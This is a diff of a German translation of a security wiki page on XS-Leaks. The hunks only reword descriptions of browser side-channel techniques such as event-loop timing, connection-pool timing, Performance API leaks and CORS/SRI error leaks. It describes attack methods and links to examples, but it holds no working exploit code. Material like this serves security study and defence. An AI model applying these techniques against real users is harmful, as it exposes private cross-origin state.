@ -136,7 +136,7 @@ Es wurde beobachtet, dass in Abwesenheit von [Framing-Schutzmaßnahmen](https://
|
||||
|
||||
Angenommen, Sie können die **Seite** mit dem **geheimen** Inhalt **in ein Iframe einfügen**.
|
||||
|
||||
Sie können **das Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** **ausgeführt wird**. Dann können Sie die **URL** des **Iframes ändern**, indem Sie nur den **Inhalt** des **Hash** innerhalb der URL ändern.
|
||||
Sie können die **Opfer dazu bringen, nach** der Datei zu suchen, die "_**flag**_" enthält, indem Sie ein **Iframe** verwenden (zum Beispiel durch Ausnutzung eines CSRF). Innerhalb des Iframes wissen Sie, dass das _**onload-Ereignis**_ **immer mindestens einmal** **ausgeführt wird**. Dann können Sie die **URL** des **Iframes ändern**, indem Sie nur den **Inhalt** des **Hash** innerhalb der URL ändern.
|
||||
|
||||
Zum Beispiel:
|
||||
|
||||
@ -145,14 +145,14 @@ Zum Beispiel:
|
||||
|
||||
Wenn die erste URL **erfolgreich geladen wurde**, wird das **onload**-Ereignis **nicht erneut ausgelöst**, wenn der **Hash**-Teil der URL geändert wird. Aber **wenn** die Seite beim **Laden** einen **Fehler** hatte, wird das **onload**-Ereignis **erneut ausgelöst**.
|
||||
|
||||
Dann können Sie **zwischen** einer **korrekt** geladenen Seite oder einer Seite, die beim Zugriff einen **Fehler** hat, **unterscheiden**.
|
||||
Dann können Sie zwischen einer **korrekt** geladenen Seite oder einer Seite, die beim Zugriff einen **Fehler** hat, **unterscheiden**.
|
||||
|
||||
### Javascript-Ausführung
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Seiteninhalt
|
||||
- **More info**:
|
||||
- **Summary:** Wenn die **Seite** den **sensiblen** Inhalt **oder** einen **Inhalt**, der vom Benutzer **kontrolliert** werden kann, **zurückgibt**. Der Benutzer könnte **gültigen JS-Code im negativen Fall** festlegen und **jeden Versuch innerhalb von `<script>`-Tags laden**, sodass im **negativen** Fall der **Code** des Angreifers **ausgeführt wird**, und in **positiven** Fällen **nichts** ausgeführt wird.
|
||||
- **Summary:** Wenn die **Seite** den **sensiblen** Inhalt **oder** einen **Inhalt**, der vom Benutzer **kontrolliert** werden kann, **zurückgibt**. Der Benutzer könnte **gültigen JS-Code im negativen Fall** festlegen und **jeden Versuch innerhalb von `<script>`-Tags laden**, sodass im **negativen** Fall der **Code** des Angreifers **ausgeführt** wird und in **positiven** Fällen **nichts** ausgeführt wird.
|
||||
- **Code Example:**
|
||||
|
||||
{{#ref}}
|
||||
@ -190,7 +190,7 @@ Sie können denselben Angriff mit **`portal`**-Tags durchführen.
|
||||
|
||||
Anwendungen nutzen häufig [`postMessage`-Broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage), um über verschiedene Ursprünge hinweg zu kommunizieren. Diese Methode kann jedoch unbeabsichtigt **sensible Informationen** offenbaren, wenn der `targetOrigin`-Parameter nicht ordnungsgemäß angegeben ist, sodass jedes Fenster die Nachrichten empfangen kann. Darüber hinaus kann der bloße Empfang einer Nachricht als **Orakel** fungieren; bestimmte Nachrichten werden möglicherweise nur an Benutzer gesendet, die angemeldet sind. Daher kann das Vorhandensein oder Fehlen dieser Nachrichten Informationen über den Status oder die Identität des Benutzers offenbaren, z. B. ob er authentifiziert ist oder nicht.
|
||||
|
||||
## Globale Grenztechniken
|
||||
## Globale Grenzwerte Techniken
|
||||
|
||||
### WebSocket-API
|
||||
|
||||
@ -219,7 +219,7 @@ Da **nur eine Zahlungsanforderung gleichzeitig aktiv sein kann**, schlägt jeder
|
||||
### Timing des Event-Loops <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
|
||||
- **Summary:** Messen Sie die Ausführungszeit eines Webs, indem Sie den einheitlichen JS-Event-Loop missbrauchen.
|
||||
- **Code Example**:
|
||||
@ -236,12 +236,12 @@ JavaScript arbeitet mit einem [einzel-Thread-Event-Loop](https://developer.mozil
|
||||
### Beschäftigter Event-Loop <a href="#busy-event-loop" id="busy-event-loop"></a>
|
||||
|
||||
- **Inclusion Methods**:
|
||||
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Summary:** Eine Methode zur Messung der Ausführungszeit einer Weboperation besteht darin, absichtlich den Event-Loop eines Threads zu blockieren und dann zu messen, **wie lange es dauert, bis der Event-Loop wieder verfügbar ist**. Durch das Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Event-Loop und das Überwachen der Zeit, die benötigt wird, damit nachfolgender Code mit der Ausführung beginnt, kann man die Dauer der Aufgaben ableiten, die während der Blockierungszeit im Event-Loop ausgeführt wurden. Diese Technik nutzt die einheitliche Natur des Event-Loops von JavaScript aus, bei dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen geben, die denselben Thread teilen.
|
||||
- **Summary:** Eine Methode zur Messung der Ausführungszeit einer Weboperation besteht darin, absichtlich den Event-Loop eines Threads zu blockieren und dann zu messen, **wie lange es dauert, bis der Event-Loop wieder verfügbar ist**. Durch das Einfügen einer blockierenden Operation (wie einer langen Berechnung oder einem synchronen API-Aufruf) in den Event-Loop und das Überwachen der Zeit, die benötigt wird, damit nachfolgender Code mit der Ausführung beginnt, kann man die Dauer der Aufgaben ableiten, die während der Blockierungszeit im Event-Loop ausgeführt wurden. Diese Technik nutzt die einheitliche Natur des Event-Loops von JavaScript aus, in dem Aufgaben sequenziell ausgeführt werden, und kann Einblicke in die Leistung oder das Verhalten anderer Operationen geben, die denselben Thread teilen.
|
||||
- **Code Example**:
|
||||
|
||||
Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sperren des Event-Loops besteht darin, dass sie potenziell **Site-Isolation** umgeht. **Site-Isolation** ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse trennt, um zu verhindern, dass bösartige Websites direkt auf sensible Daten anderer Websites zugreifen. Durch die Beeinflussung der Ausführungszeit eines anderen Ursprungs über den gemeinsamen Event-Loop kann ein Angreifer indirekt Informationen über die Aktivitäten dieses Ursprungs extrahieren. Diese Methode beruht nicht auf dem direkten Zugriff auf die Daten des anderen Ursprungs, sondern beobachtet die Auswirkungen der Aktivitäten dieses Ursprungs auf den gemeinsamen Event-Loop und umgeht so die Schutzbarrieren, die durch **Site-Isolation** eingerichtet wurden.
|
||||
Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sperren des Event-Loops besteht darin, dass sie potenziell **Site-Isolation** umgeht. **Site-Isolation** ist eine Sicherheitsfunktion, die verschiedene Websites in separate Prozesse trennt, um zu verhindern, dass bösartige Websites direkt auf sensible Daten anderer Websites zugreifen. Durch die Beeinflussung der Ausführungszeit eines anderen Ursprungs über den gemeinsamen Event-Loop kann ein Angreifer indirekt Informationen über die Aktivitäten dieses Ursprungs extrahieren. Diese Methode beruht nicht auf dem direkten Zugriff auf die Daten des anderen Ursprungs, sondern beobachtet die Auswirkungen der Aktivitäten dieses Ursprungs auf den gemeinsamen Event-Loop und umgeht somit die Schutzbarrieren, die durch **Site-Isolation** eingerichtet wurden.
|
||||
|
||||
> [!WARNING]
|
||||
> Bei einer Ausführungszeitmessung ist es möglich, **Netzwerkfaktoren zu eliminieren**, um **genauere Messungen** zu erhalten. Zum Beispiel, indem die Ressourcen, die von der Seite verwendet werden, vor dem Laden geladen werden.
|
||||
@ -249,7 +249,7 @@ Ein wesentlicher Vorteil der Technik zur Messung der Ausführungszeit durch Sper
|
||||
### Verbindungs-Pool
|
||||
|
||||
- **Inclusion Methods**: JavaScript-Anfragen
|
||||
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
- **Summary:** Ein Angreifer könnte alle Sockets außer 1 sperren, die Ziel-Webseite laden und gleichzeitig eine andere Seite laden. Die Zeit, bis die letzte Seite zu laden beginnt, ist die Zeit, die die Zielseite zum Laden benötigt hat.
|
||||
- **Code Example**:
|
||||
@ -260,25 +260,25 @@ connection-pool-example.md
|
||||
|
||||
Browser verwenden Sockets für die Serverkommunikation, aber aufgrund der begrenzten Ressourcen des Betriebssystems und der Hardware sind **Browser gezwungen, ein Limit** für die Anzahl der gleichzeitigen Sockets festzulegen. Angreifer können diese Einschränkung durch die folgenden Schritte ausnutzen:
|
||||
|
||||
1. Bestimmen Sie das Socket-Limit des Browsers, z. B. 256 globale Sockets.
|
||||
1. Bestimmen Sie das Socket-Limit des Browsers, zum Beispiel 256 globale Sockets.
|
||||
2. Besetzen Sie 255 Sockets für eine längere Dauer, indem Sie 255 Anfragen an verschiedene Hosts initiieren, die darauf ausgelegt sind, die Verbindungen offen zu halten, ohne sie abzuschließen.
|
||||
3. Verwenden Sie den 256. Socket, um eine Anfrage an die Zielseite zu senden.
|
||||
4. Versuchen Sie eine 257. Anfrage an einen anderen Host. Da alle Sockets in Verwendung sind (gemäß den Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, gibt dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket (dem Socket der Zielseite) verbunden ist. Diese Ableitung ist möglich, weil die 255 Sockets aus Schritt 2 weiterhin beschäftigt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die benötigt wird, damit der 256. Socket verfügbar wird, steht somit in direktem Zusammenhang mit der Zeit, die benötigt wird, um die Anfrage an die Zielseite abzuschließen.
|
||||
4. Versuchen Sie eine 257. Anfrage an einen anderen Host. Da alle Sockets in Verwendung sind (gemäß den Schritten 2 und 3), wird diese Anfrage in die Warteschlange gestellt, bis ein Socket verfügbar wird. Die Verzögerung, bevor diese Anfrage fortgesetzt wird, gibt dem Angreifer zeitliche Informationen über die Netzwerkaktivität, die mit dem 256. Socket (dem Socket der Zielseite) verbunden ist. Diese Schlussfolgerung ist möglich, weil die 255 Sockets aus Schritt 2 weiterhin beschäftigt sind, was bedeutet, dass jeder neu verfügbare Socket derjenige sein muss, der aus Schritt 3 freigegeben wurde. Die Zeit, die benötigt wird, damit der 256. Socket verfügbar wird, ist somit direkt mit der Zeit verbunden, die benötigt wird, um die Anfrage an die Zielseite abzuschließen.
|
||||
|
||||
Für weitere Informationen: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
|
||||
|
||||
### Verbindungs-Pool nach Ziel
|
||||
|
||||
- **Inclusion Methods**: JavaScript-Anfragen
|
||||
- **Detectable Difference**: Timing (allgemein aufgrund von Seiteninhalt, Statuscode)
|
||||
- **Detectable Difference**: Timing (generell aufgrund von Seiteninhalt, Statuscode)
|
||||
- **More info**:
|
||||
- **Summary:** Es ist wie die vorherige Technik, aber anstatt alle Sockets zu verwenden, setzt Google **Chrome** ein Limit von **6 gleichzeitigen Anfragen an denselben Ursprung**. Wenn wir **5 blockieren** und dann eine **6.** Anfrage starten, können wir sie **zeitlich messen**. Wenn wir es geschafft haben, die **Opferseite dazu zu bringen,** mehr **Anfragen** an denselben Endpunkt zu senden, um den **Status** der **Seite** zu erkennen, wird die **6. Anfrage** **länger** dauern und wir können dies erkennen.
|
||||
- **Summary:** Es ist wie die vorherige Technik, aber anstatt alle Sockets zu verwenden, setzt Google **Chrome** ein Limit von **6 gleichzeitigen Anfragen an denselben Ursprung**. Wenn wir **5 blockieren** und dann eine **6.** Anfrage starten, können wir sie **zeitlich messen**. Wenn wir es geschafft haben, die **Opferseite dazu zu bringen, mehr** **Anfragen** an denselben Endpunkt zu senden, um den **Status** der **Seite** zu erkennen, wird die **6. Anfrage** **länger** dauern und wir können dies erkennen.
|
||||
|
||||
## Performance-API-Techniken
|
||||
|
||||
Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bietet Einblicke in die Leistungskennzahlen von Webanwendungen, die durch die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) weiter bereichert werden. Die Resource Timing API ermöglicht die Überwachung detaillierter Netzwerk-Anfragezeiten, wie z. B. die Dauer der Anfragen. Wenn Server den Header `Timing-Allow-Origin: *` in ihren Antworten einfügen, werden zusätzliche Daten wie die Übertragungsgröße und die Domain-Lookup-Zeit verfügbar.
|
||||
Die [`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) bietet Einblicke in die Leistungsmetriken von Webanwendungen, die durch die [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) weiter bereichert werden. Die Resource Timing API ermöglicht die Überwachung detaillierter Netzwerk-Anfragezeiten, wie z. B. die Dauer der Anfragen. Wenn Server den Header `Timing-Allow-Origin: *` in ihren Antworten einfügen, werden zusätzliche Daten wie die Übertragungsgröße und die Domain-Lookup-Zeit verfügbar.
|
||||
|
||||
Diese Fülle von Daten kann über Methoden wie [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) oder [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) abgerufen werden, die einen umfassenden Überblick über leistungsbezogene Informationen bieten. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem die Differenz zwischen Zeitstempeln berechnet wird, die von [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) erhalten wurden. Es ist jedoch zu beachten, dass die Präzision von `performance.now()` in bestimmten Browsern wie Chrome auf Millisekunden beschränkt sein kann, was die Granularität der Zeitmessungen beeinträchtigen könnte.
|
||||
Diese Fülle von Daten kann über Methoden wie [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) oder [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) abgerufen werden, die einen umfassenden Überblick über leistungsbezogene Informationen bieten. Darüber hinaus ermöglicht die API die Messung von Ausführungszeiten, indem die Differenz zwischen Zeitstempeln berechnet wird, die von [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) erhalten werden. Es ist jedoch zu beachten, dass die Präzision von `performance.now()` in bestimmten Browsern wie Chrome auf Millisekunden beschränkt sein kann, was die Granularität der Zeitmessungen beeinträchtigen könnte.
|
||||
|
||||
Neben Zeitmessungen kann die Performance-API auch für sicherheitsrelevante Einblicke genutzt werden. Beispielsweise kann das Vorhandensein oder Fehlen von Seiten im `performance`-Objekt in Chrome auf die Anwendung von `X-Frame-Options` hinweisen. Insbesondere wird eine Seite, die aufgrund von `X-Frame-Options` daran gehindert wird, in einem Frame gerendert zu werden, nicht im `performance`-Objekt aufgezeichnet, was einen subtilen Hinweis auf die Rahmenrichtlinien der Seite gibt.
|
||||
|
||||
@ -302,7 +302,7 @@ Es ist möglich, **zwischen HTTP-Antwortstatuscodes zu unterscheiden**, da Anfra
|
||||
|
||||
In der vorherigen Technik wurden auch zwei Fälle identifiziert, in denen Browserfehler im GC dazu führen, dass **Ressourcen zweimal geladen werden, wenn sie nicht geladen werden können**. Dies führt zu mehreren Einträgen in der Performance-API und kann somit erkannt werden.
|
||||
|
||||
### Anfrage-Zusammenführungsfehler
|
||||
### Anfrage-Merging-Fehler
|
||||
|
||||
- **Inclusion Methods**: HTML-Elemente
|
||||
- **Detectable Difference**: Statuscode
|
||||
@ -310,7 +310,7 @@ In der vorherigen Technik wurden auch zwei Fälle identifiziert, in denen Browse
|
||||
- **Summary:** Anfragen, die zu einem Fehler führen, können nicht zusammengeführt werden.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
Die Technik wurde in einer Tabelle im erwähnten Papier gefunden, aber keine Beschreibung der Technik wurde darin gefunden. Sie können jedoch den Quellcode überprüfen, um dies zu finden unter [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
Die Technik wurde in einer Tabelle im erwähnten Papier gefunden, aber es wurde keine Beschreibung der Technik gefunden. Sie können jedoch den Quellcode überprüfen, um es zu finden unter [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
### Leere Seiten-Leak
|
||||
|
||||
@ -330,7 +330,7 @@ Ein Angreifer kann erkennen, ob eine Anfrage zu einem leeren HTTP-Antwortkörper
|
||||
- **Summary:** Durch die Verwendung des XSS-Auditors in Sicherheitsbehauptungen können Angreifer spezifische Elemente von Webseiten erkennen, indem sie Änderungen in den Antworten beobachten, wenn gestaltete Payloads den Filtermechanismus des Auditors auslösen.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verhinderung von Cross-Site-Scripting (XSS)-Angriffen gedacht war, paradoxerweise ausgenutzt werden, um sensible Informationen zu leaken. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es weiterhin in SA vorhanden. 2013 zeigten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falschen Positiven führte. Auf dieser Grundlage entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Cross-Origin-Seiten zu erkennen, ein Konzept, das als XS-Leaks bekannt ist und ursprünglich von Terada berichtet und von Heyes in einem Blogbeitrag ausgeführt wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass Seiten, die vom XSS-Auditor blockiert werden, in der Performance-API keine Einträge generieren, was eine Methode offenbart, durch die sensible Informationen möglicherweise weiterhin geleakt werden könnten.
|
||||
In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verhinderung von Cross-Site-Scripting (XSS)-Angriffen gedacht war, paradoxerweise ausgenutzt werden, um sensible Informationen zu leaken. Obwohl dieses integrierte Feature aus Google Chrome (GC) entfernt wurde, ist es immer noch in SA vorhanden. 2013 demonstrierten Braun und Heiderich, dass der XSS-Auditor versehentlich legitime Skripte blockieren konnte, was zu falschen Positiven führte. Auf dieser Grundlage entwickelten Forscher Techniken, um Informationen zu extrahieren und spezifische Inhalte auf Cross-Origin-Seiten zu erkennen, ein Konzept, das als XS-Leaks bekannt ist und ursprünglich von Terada berichtet und von Heyes in einem Blogbeitrag ausgeführt wurde. Obwohl diese Techniken spezifisch für den XSS-Auditor in GC waren, wurde festgestellt, dass Seiten, die vom XSS-Auditor in SA blockiert werden, keine Einträge in der Performance-API generieren, was eine Methode offenbart, durch die sensible Informationen möglicherweise weiterhin geleakt werden könnten.
|
||||
|
||||
### X-Frame-Leak
|
||||
|
||||
@ -340,7 +340,7 @@ In Sicherheitsbehauptungen (SA) kann der XSS-Auditor, der ursprünglich zur Verh
|
||||
- **Summary:** Ressourcen mit dem X-Frame-Options-Header erstellen keinen Ressourcenzugangseintrag.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Wenn eine Seite **nicht erlaubt ist**, in einem **Iframe** **gerendert** zu werden, erstellt sie **keinen Leistungseintrag**. Infolgedessen kann ein Angreifer den Antwortheader **`X-Frame-Options`** erkennen.\
|
||||
Wenn eine Seite **nicht erlaubt ist**, in einem **Iframe** **gerendert** zu werden, erstellt sie **keinen Leistungseintrag**. Daher kann ein Angreifer den Antwortheader **`X-Frame-Options`** erkennen.\
|
||||
Das Gleiche gilt, wenn Sie ein **Embed**-Tag verwenden.
|
||||
|
||||
### Download-Erkennung
|
||||
@ -361,14 +361,14 @@ Das Gleiche gilt, wenn Sie ein **Embed**-Tag verwenden.
|
||||
- **Summary:** Der Ressourcenzugangseintrag leakt die Startzeit einer Weiterleitung.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Wir haben einen XS-Leak-Fall gefunden, der das Verhalten einiger Browser ausnutzt, die zu viele Informationen für Cross-Origin-Anfragen protokollieren. Der Standard definiert eine Teilmenge von Attributen, die für Cross-Origin-Ressourcen auf null gesetzt werden sollten. In **SA** ist es jedoch möglich zu erkennen, ob der Benutzer von der Zielseite **weitergeleitet** wird, indem die **Performance-API** abgefragt und die **redirectStart-Zeitdaten** überprüft werden.
|
||||
Wir fanden einen XS-Leak-Fall, der das Verhalten einiger Browser ausnutzt, die zu viele Informationen für Cross-Origin-Anfragen protokollieren. Der Standard definiert eine Teilmenge von Attributen, die für Cross-Origin-Ressourcen auf Null gesetzt werden sollten. In **SA** ist es jedoch möglich zu erkennen, ob der Benutzer von der Zielseite **weitergeleitet** wird, indem die **Performance-API** abgefragt und die **redirectStart-Zeitdaten** überprüft werden.
|
||||
|
||||
### Dauer-Weiterleitungs-Leak
|
||||
|
||||
- **Inclusion Methods**: Fetch-API
|
||||
- **Detectable Difference**: Weiterleitung
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Die Dauer von Zeitstempeln ist negativ, wenn eine Weiterleitung erfolgt.
|
||||
- **Summary:** Die Dauer der Zeitstempel ist negativ, wenn eine Weiterleitung erfolgt.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
In GC ist die **Dauer** für Anfragen, die zu einer **Weiterleitung** führen, **negativ** und kann somit von Anfragen, die nicht zu einer Weiterleitung führen, **unterschieden** werden.
|
||||
@ -392,7 +392,7 @@ In einigen Fällen kann der **nextHopProtocol-Eintrag** als Leak-Technik verwend
|
||||
- **Code Example**:
|
||||
|
||||
Service Worker sind ereignisgesteuerte Skriptkontexte, die an einem Ursprung ausgeführt werden. Sie laufen im Hintergrund einer Webseite und können Ressourcen abfangen, ändern und **cachen**, um Offline-Webanwendungen zu erstellen.\
|
||||
Wenn eine **Ressource, die von einem Service Worker** zwischengespeichert wurde, über ein **Iframe** aufgerufen wird, wird die Ressource **aus dem Cache des Service Workers** geladen.\
|
||||
Wenn eine **Ressource, die von einem Service Worker** zwischengespeichert wurde, über ein **Iframe** aufgerufen wird, wird die Ressource **aus dem Cache des Service Workers** **geladen**.\
|
||||
Um zu erkennen, ob die Ressource **aus dem Cache des Service Workers** geladen wurde, kann die **Performance-API** verwendet werden.\
|
||||
Dies könnte auch mit einem Timing-Angriff durchgeführt werden (siehe das Papier für weitere Informationen).
|
||||
|
||||
@ -477,20 +477,20 @@ Die `MediaError`-Schnittstelle hat eine Nachrichten-Eigenschaft, die Ressourcen
|
||||
- **Einbeziehungsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
|
||||
- **Zusammenfassung:** In Sicherheitsbehauptungen (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Diese Technik ermöglicht es einem Angreifer, **das Ziel einer Umleitung einer Cross-Origin-Website zu extrahieren**, indem er ausnutzt, wie Webkit-basierte Browser CORS-Anfragen behandeln. Insbesondere wenn eine **CORS-aktivierte Anfrage** an eine Zielseite gesendet wird, die eine Umleitung basierend auf dem Benutzerstatus ausgibt, und der Browser die Anfrage anschließend ablehnt, wird die **vollständige URL des Ziels der Umleitung** in der Fehlermeldung offengelegt. Diese Schwachstelle offenbart nicht nur die Tatsache der Umleitung, sondern gibt auch den Endpunkt der Umleitung und alle **sensiblen Abfrageparameter** preis, die sie enthalten kann.
|
||||
Diese Technik ermöglicht es einem Angreifer, **das Ziel einer Umleitung einer Cross-Origin-Website zu extrahieren**, indem er ausnutzt, wie Webkit-basierte Browser CORS-Anfragen behandeln. Insbesondere wenn eine **CORS-aktivierte Anfrage** an eine Zielseite gesendet wird, die eine Umleitung basierend auf dem Benutzerstatus ausgibt und der Browser die Anfrage anschließend ablehnt, wird die **vollständige URL des Ziels der Umleitung** in der Fehlermeldung offengelegt. Diese Schwachstelle offenbart nicht nur die Tatsache der Umleitung, sondern gibt auch den Endpunkt der Umleitung und alle **sensiblen Abfrageparameter** preis, die sie enthalten kann.
|
||||
|
||||
### SRI-Fehler
|
||||
|
||||
- **Einbeziehungsmethoden**: Fetch API
|
||||
- **Erkennbare Unterschiede**: Header
|
||||
- **Weitere Informationen**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
|
||||
- **Zusammenfassung:** In Security Assertions (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
|
||||
- **Zusammenfassung:** In Sicherheitsbehauptungen (SA) geben CORS-Fehlermeldungen unbeabsichtigt die vollständige URL von umgeleiteten Anfragen preis.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Ein Angreifer kann **ausführliche Fehlermeldungen** ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist möglich aufgrund des Mechanismus der Subresource Integrity (SRI), der das Integritätsattribut verwendet, um zu validieren, dass abgerufene Ressourcen, oft von CDNs, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese **CORS-aktiviert** sein; andernfalls unterliegen sie keinen Integritätsprüfungen. In Security Assertions (SA), ähnlich wie beim CORS-Fehler XS-Leak, kann eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich **diesen Fehler auslösen**, indem sie einen **falschen Hashwert** dem Integritätsattribut einer beliebigen Anfrage zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Diese Informationsleckage ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen, was den Weg für ausgeklügelte XS-Leak-Angriffe ebnet.
|
||||
Ein Angreifer kann **ausführliche Fehlermeldungen** ausnutzen, um die Größe von Cross-Origin-Antworten abzuleiten. Dies ist möglich aufgrund des Mechanismus der Subresource Integrity (SRI), der das Integritätsattribut verwendet, um zu validieren, dass abgerufene Ressourcen, oft von CDNs, nicht manipuliert wurden. Damit SRI bei Cross-Origin-Ressourcen funktioniert, müssen diese **CORS-aktiviert** sein; andernfalls unterliegen sie keinen Integritätsprüfungen. In Sicherheitsbehauptungen (SA) kann, ähnlich wie beim CORS-Fehler XS-Leak, eine Fehlermeldung erfasst werden, nachdem eine Fetch-Anfrage mit einem Integritätsattribut fehlschlägt. Angreifer können absichtlich **diesen Fehler auslösen**, indem sie einen **falschen Hashwert** dem Integritätsattribut einer beliebigen Anfrage zuweisen. In SA offenbart die resultierende Fehlermeldung unbeabsichtigt die Inhaltslänge der angeforderten Ressource. Diese Informationsleckage ermöglicht es einem Angreifer, Variationen in der Antwortgröße zu erkennen, was den Weg für ausgeklügelte XS-Leak-Angriffe ebnet.
|
||||
|
||||
### CSP-Verletzung/Erkennung
|
||||
|
||||
@ -500,7 +500,7 @@ Ein Angreifer kann **ausführliche Fehlermeldungen** ausnutzen, um die Größe v
|
||||
- **Zusammenfassung:** Wenn nur die Website des Opfers in der CSP erlaubt ist und wir versuchen, sie auf eine andere Domain umzuleiten, wird die CSP einen erkennbaren Fehler auslösen.
|
||||
- **Codebeispiel**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
